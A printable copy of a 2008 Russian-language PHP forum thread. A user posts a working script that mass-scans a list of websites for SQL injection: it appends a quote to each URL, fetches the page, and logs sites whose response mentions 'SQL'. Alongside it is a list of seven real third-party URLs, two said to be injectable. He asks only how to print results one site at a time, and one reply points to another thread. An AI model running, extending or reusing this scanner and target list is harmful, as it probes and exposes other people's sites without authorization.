Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > PHP: Общие вопросы > Пробема с пошаговым выводом данных...


Автор: zircool 29.7.2008, 11:53
Добрый день... вот написал скрипт для проверки списка сайтов на уязвимость MySQL ijection, но вот столкнулся с проблемой..Скрипт вначале проверяет все сайты а потом выводит результат, как можно сделать что бы скрипт проверял один сайт и выводил результат, затем другой проверял и выводил результат и т.д. 

Код

<html>
 <head>
  <style>
   body
   {
    padding:10px;
    background:#2A2E33;
    font-family:tahoma, verdana, arial;
    font-size:11px;
    text-align:center;
    color:#B9B9BD;
   }
   a:link, a:hover, a:visited
   {
    color:#B9B9BD;
    text-decoration: none;
   }
   input
   {
    vertical-align:middle;
    margin:1px 0;
    padding-right:10px;
    border:1px solid #336600;
    padding:2px;
    background:#363940;
    color:#B9B9BD;
   }
textarea
   {
    vertical-align:middle;
    margin:1px 0;
    padding-right:10px;
    border:1px solid #336600;
    padding:2px;
    background:#363940;
    color:#B9B9BD;
   }
   form
   {
    padding:10px;
    border:1px solid #666;
    width:400px;
    margin:0 auto;
   }
  </style>
  <title>MySQL scanner</title>
 </head>
 <body>
<?php
// By Zircool



error_reporting (0);

if(set_time_limit(0))
{
    set_time_limit(0);
    ignore_user_abort(1);
    $limit = true;
}

$config["LISTTXT"] = "list.txt";
$config["GOODTXT"] = "good.txt";

if(isset($_GET["clean_list"]))
{
     $pf = fopen($config["LISTTXT"], "w");
     fclose($pf);
     print "<a href='index.php'>Done!</a>";
     die;
}

if(isset($_GET["clean_good"]))
{
     $pf = fopen($config["GOODTXT"], "w");
     fclose($pf);
     print "<a href='index.php'>Done!</a>";
     die;
}

Error_Reporting(E_ALL & ~E_NOTICE);
print('<form method="POST">');
print(" Скрипт сканирует сайты на наличие в них уязвимости MySQL injection ");
print('</br>' );
print('</br>' );
print "<a href=\"".$config["LISTTXT"]."\"><B>LIST.TXT</B></a> - ".count(file($config["LISTTXT"]))." - <a href='index.php?clean_list=1'>clean</a>";
print(' &nbsp;&nbsp;&nbsp;&nbsp; ' );
print "<a href=\"".$config["GOODTXT"]."\"><B>GOOD.TXT</B></a> - ".count(file($config["GOODTXT"]))." - <a href='index.php?clean_good=1'>clean</a><br><br>";
print('</br>' );
print('<input type="submit" name="sub" value="   Go!  " />'."<br />\r\n");
print('</form>');
print('</br>' );



if(isset($_POST['sub']))
{
    ob_get_contents();
    $sites=file('list.txt');
    foreach($sites as $site)
    {

    $url=$site."'";

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);
    curl_setopt($ch, CURLOPT_NOBODY, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    $text = curl_exec($ch);
     curl_close($ch);

    $host=parse_url($url);
    $host=$host['host'];
    echo "Выполняеся проверка сайта &nbsp; ".$host."<br>";



    $substr_count = substr_count($text,"SQL");

       if ($substr_count > 0)
       {
          $goodfopen = fopen($config["GOODTXT"], "a+");
          fwrite($goodfopen, $site);
          fclose($goodfopen);


       }


    ob_flush();


    }








}

?>
</body>
</html>




Содержимое файла list.txt  там 2 сайта с инъекциями, администраторам сайтов уже сообщено об инъекциях на их сайте, но пока видимо админы ещё не проверяли почту.... 

Код

http://www.krainamriy.com/news.php?id=42
http://www.michaelpollan.com/article.php?id=12
http://www.humanevents.com/article.php?id=7591
http://www.kromestudios.com/games/results_platform.php?id=2
http://referat.svitonline.com/details.php?id=484
http://www.ipecac.com/bio.php?id=44
http://www.aratta-ukraine.com/news_ua.php?id=5070



Заранее благодарен... 



Автор: krundetz 29.7.2008, 15:37
Вот http://forum.vingrad.ru/forum/topic-221890.html я уже отвечал как можно реализовать вывод данных не всех за раз а сразу после проверки. А вообще меплохо бы сначала пользоваться поиском или глядеть проглядывать подобные темы форума которые предлогаются сразу после ввода заголовка темы.

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)